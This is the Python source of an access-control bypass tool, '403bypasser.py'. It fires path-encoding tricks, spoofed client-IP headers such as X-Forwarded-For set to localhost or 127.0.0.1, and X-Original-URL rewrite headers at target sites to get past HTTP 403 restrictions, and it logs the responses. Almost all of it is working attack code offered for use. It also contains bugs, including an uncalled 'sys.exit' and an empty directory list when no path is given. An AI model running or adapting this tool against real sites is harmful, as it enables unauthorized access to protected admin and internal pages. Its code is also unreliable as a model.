403bypasser.py

import requests, sys, argparse, validators, os, tldextract
from colorama import init, Fore, Style
from pyfiglet import Figlet

# INITIALISE COLORAMA
init()

# DISPLAY BANNER -- START
custom_fig = Figlet(font='slant')
print(Fore.BLUE + Style.BRIGHT + custom_fig.renderText('-------------') + Style.RESET_ALL)
print(Fore.BLUE + Style.BRIGHT + custom_fig.renderText('Bypass403') + Style.RESET_ALL)
print(Fore.GREEN + Style.BRIGHT + "____________________ Mayank Rajput ____________________\n")
print(Fore.MAGENTA + Style.BRIGHT + "-----> GitHub    : https://github.com/hackelite01\n")
print(Fore.MAGENTA + Style.BRIGHT + "-----> Telegram  : https://t.me/hackelite01/\n")
print(Fore.BLUE + Style.BRIGHT + custom_fig.renderText('-------------') + Style.RESET_ALL)
# DISPLAY BANNER -- END

# HANDLE ARGUMENTS -- START
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", type=str, help="single URL to scan, ex: http://example.com")
parser.add_argument("-U", "--urllist", type=str, help="path to list of URLs, ex: urllist.txt")
parser.add_argument("-d", "--dir", type=str, help="Single directory to scan, ex: /admin", nargs="?", const="/")
parser.add_argument("-D", "--dirlist", type=str, help="path to list of directories, ex: dirlist.txt")

args = parser.parse_args()
# HANDLE ARGUMENTS -- END



class Arguments():
    def __init__(self, url, urllist, dir, dirlist):
        self.url = url
        self.urllist = urllist
        self.dir = dir
        self.dirlist = dirlist
        self.urls = []
        self.dirs = []
        
        self.checkURL()
        self.checkDir()
    
    def return_urls(self):
        return self.urls
    
    def return_dirs(self):
        return self.dirs
    
    def checkURL(self):
        if self.url:
            if not validators.url(self.url):
                print("You must specify a valid URL for -u (--url) argument! Exitting...\n")
                sys.exit
            
            if self.url.endswith("/"):
                self.url = self.url.rstrip("/")
            
            self.urls.append(self.url)
        elif self.urllist:
            if not os.path.exists(self.urllist):
                print("The specified path to URL list does not exist! Exitting...\n")
                sys.exit()
            
            with open(self.urllist, 'r') as file:
                temp = file.readlines()
            
            for x in temp:
                self.urls.append(x.strip())
        else:
            print("Please provide a single URL or a list either! (-u or -U)\n")
            sys.exit()
    
    def checkDir(self):
        if self.dir:
            if not self.dir.startswith("/"): 
                self.dir = "/" + self.dir
            
            if self.dir.endswith("/") and self.dir != "/":
                self.dir = self.dir.rstrip("/")
            self.dirs.append(self.dir)
        elif self.dirlist:
            if not os.path.exists(self.dirlist):
                print("The specified path to directory list does not exist! Exitting...\n")
                sys.exit()
            
            with open(self.dirlist, 'r') as file:
                temp = file.readlines()
            
            for x in temp:
                self.dirs.append(x.strip())
        else:
            self.dir = "/"


class PathRepository():
    def __init__(self, path):
        self.path = path
        self.newPaths = []
        self.newHeaders = []
        self.rewriteHeaders = []
        
        self.createNewPaths()
        self.createNewHeaders()
    
    def createNewPaths(self):
        self.newPaths.append(self.path)
        
        pairs = [["/", "//"], ["/.", "/./"]]
        
        leadings = ["/%2e"]
        
        trailings = ["/", "..;/", "/..;/", "%20", "%09", "%00", 
                    ".json", ".css", ".html", "?", "??", "???", 
                    "?testparam", "#", "#test", "/."]
        
        for pair in pairs:
            self.newPaths.append(pair[0] + self.path + pair[1])
        
        for leading in leadings:
            self.newPaths.append(leading + self.path)
        
        for trailing in trailings:
            self.newPaths.append(self.path + trailing)
    
    def createNewHeaders(self):
        headers_overwrite = ["X-Original-URL", "X-Rewrite-URL"]
        
        headers = ["X-Custom-IP-Authorization", "X-Forwarded-For", 
                "X-Forward-For", "X-Remote-IP", "X-Originating-IP", 
                "X-Remote-Addr", "X-Client-IP", "X-Real-IP"]
        
        values = ["localhost", "localhost:80", "localhost:443", 
                "127.0.0.1", "127.0.0.1:80", "127.0.0.1:443", 
                "2130706433", "0x7F000001", "0177.0000.0000.0001", 
                "0", "127.1", "10.0.0.0", "10.0.0.1", "172.16.0.0", 
                "172.16.0.1", "192.168.1.0", "192.168.1.1"]
        
        for header in headers:
            for value in values:
                self.newHeaders.append({header : value})
        
        for element in headers_overwrite:
            self.rewriteHeaders.append({element : self.path})


class Query():
    def __init__(self, url, dir, dirObject):
        self.url = url
        self.dir = dir          # call pathrepo by this
        self.dirObject = dirObject
        self.domain = tldextract.extract(self.url).domain
    
    
    
    def checkStatusCode(self, status_code):
        if status_code == 200 or status_code == 201:
            colour = Fore.GREEN + Style.BRIGHT
        elif status_code == 301 or status_code == 302:
            colour = Fore.BLUE + Style.BRIGHT
        elif status_code == 403 or status_code == 404:
            colour = Fore.MAGENTA + Style.BRIGHT
        elif status_code == 500:
            colour = Fore.RED + Style.BRIGHT
        else:
            colour = Fore.WHITE + Style.BRIGHT
        
        return colour
    
    def writeToFile(self, array):
        with open(self.domain + ".txt", "a") as file:
            for line in array:
                file.write(line + "\n")
    
    def manipulateRequest(self):
        print((" Target URL: " + self.url + "\tTarget Path: " + self.dir + " ").center(121, "="))
        results = []
        p = requests.post(self.url + self.dir)
        
        colour = self.checkStatusCode(p.status_code)
        reset = Style.RESET_ALL
        
        line_width = 100
        target_address = "POST --> " + self.url + self.dir
        info = f"STATUS: {colour}{p.status_code}{reset}\tSIZE: {len(p.content)}"
        info_pure = f"STATUS: {p.status_code}\tSIZE: {len(p.content)}"
        remaining = line_width - len(target_address)
        
        print("\n" + target_address + " " * remaining + info)
        
        results.append(target_address + " " * remaining + info_pure)
        
        self.writeToFile(results)
        
        self.manipulatePath()
    
    def manipulatePath(self):
        results = []
        reset = Style.RESET_ALL
        line_width = 100
        
        for path in self.dirObject.newPaths:
            r = requests.get(self.url + path)
            
            colour = self.checkStatusCode(r.status_code)
            
            target_address = "GET --> " + self.url + path
            info = f"STATUS: {colour}{r.status_code}{reset}\tSIZE: {len(r.content)}"
            info_pure = f"STATUS: {r.status_code}\tSIZE: {len(r.content)}"
            remaining = line_width - len(target_address)
            
            print(target_address + " " * remaining + info)
            
            results.append(target_address + " " * remaining + info_pure)
        
        self.writeToFile(results)
        self.manipulateHeaders()
    
    def manipulateHeaders(self):
        results = []
        line_width = 100
        
        for header in self.dirObject.newHeaders:
            r = requests.get(self.url + self.dir, headers=header)
            
            colour = self.checkStatusCode(r.status_code)
            reset = Style.RESET_ALL
            
            target_address = "GET --> " + self.url + self.dir
            info = f"STATUS: {colour}{r.status_code}{reset}\tSIZE: {len(r.content)}"
            info_pure = f"STATUS: {r.status_code}\tSIZE: {len(r.content)}"
            remaining = line_width - len(target_address)
            
            print("\n" + target_address + " " * remaining + info)
            print(f"Header= {header}")
            
            results.append("\n" + target_address + " " * remaining + info_pure + f"\nHeader= {header}")
        self.writeToFile(results)
        
        results_2 = []
        for header in self.dirObject.rewriteHeaders:
            r = requests.get(self.url, headers=header)
            
            colour = self.checkStatusCode(r.status_code)
            reset = Style.RESET_ALL
            
            target_address = "GET --> " + self.url
            info = f"STATUS: {colour}{r.status_code}{reset}\tSIZE: {len(r.content)}"
            info_pure = f"STATUS: {r.status_code}\tSIZE: {len(r.content)}"
            remaining = line_width - len(target_address)
            
            print("\n" + target_address + " " * remaining + info)
            print(f"Header= {header}")
            
            results_2.append("\n" + target_address + " " * remaining + info_pure + f"\nHeader= {header}")
        
        self.writeToFile(results_2)


class Program():
    def __init__(self, urllist, dirlist):
        self.urllist = urllist
        self.dirlist = dirlist
    
    def initialise(self):
        for u in self.urllist:
            for d in self.dirlist:
                if d != "/":
                    dir_objname = d.lstrip("/")
                else:
                    dir_objname = "_rootPath"
                locals()[dir_objname] = PathRepository(d)
                domain_name = tldextract.extract(u).domain
                locals()[domain_name] = Query(u, d, locals()[dir_objname])
                locals()[domain_name].manipulateRequest()

argument = Arguments(args.url, args.urllist, args.dir, args.dirlist)
program = Program(argument.return_urls(), argument.return_dirs())

program.initialise()